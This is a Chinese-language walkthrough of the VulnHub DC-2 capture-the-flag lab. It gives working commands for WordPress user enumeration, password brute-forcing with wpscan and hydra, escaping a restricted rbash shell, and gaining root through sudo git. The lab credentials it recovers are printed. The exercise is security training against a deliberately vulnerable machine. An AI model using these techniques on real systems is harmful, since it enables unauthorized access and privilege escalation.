运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:DC2(10.0.2.55)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/dc-2,311/
使用nmap主机发现靶机ip:10.0.2.55
使用nmap端口扫描发现靶机开放端口:80、7744
打开网站发现会自动跳转到域名dc-2
,在/etc/hosts
文件添加一条数据并保存:
10.0.2.55 dc-2
再次访问网站,成功访问,该网站是wordpress框架搭建的
发现flag1,获得提示使用cewl构造密码字典
先使用wpscan工具扫描一下,枚举用户名,发现三个用户名:admin、jerry、tom
wpscan --url http://dc-2/ --enumerate u,p,t --plugins-detection aggressive --detection-mode aggressive
使用cewl工具构造密码字典
cewl http://dc-2/ -w passwd.txt
使用wpscan工具进行暴力破解得到两组用户名密码:
jerry:adipiscing
tom:parturient
wpscan --url http://dc-2/ -P passwd.txt -U user1.txt
使用爆破得到的用户名密码登录网站
发现flag2
根据flag2的提示,换另一个切入点,想到靶机还开放了7744端口,可以对这个端口进行暴力破解
hydra -L user1.txt -P passwd.txt ssh://10.0.2.55:7744 -t 64
破解得到一组用户名密码:tom:parturient
登录ssh
tom用户的很多命令都被限制了,查看当前目录,发现在usr/bin
目录发现存在几个命令的快捷方式,尝试运行这几个命令,发现都可以运行
可以使用vi进行绕过rbash的限制
vi
:set shell=/bin/bash
:shell
执行命令后发现部分命令可以使用了
其他的部分命令可以切换目录到/usr/bin
或/bin
,使用./
执行
可通过环境变量提权方式,越过rbash限制
export -p //查看环境变量
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/ //添加环境变量
export PATH=$PATH:/usr/bin //添加环境变量
查看flag3和flag4
less /home/tom/flag3.txt
less /home/jerry/flag4.txt
执行命令./find / -perm -u=s -type f 2>/dev/null
,查看具有SUID
权限的二进制可执行文件,未发现可以用来进行提权的
执行命令./sudo -l
查看一下具有sudo
权限的程序,发现不能执行
切换目录到/bin
,使用su
命令切换到jerry用户:jerry:adipiscing
cd /bin
./su jerry
执行命令sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行git
使用git命令进行提权
sudo git -p help config
!/bin/sh
获取flag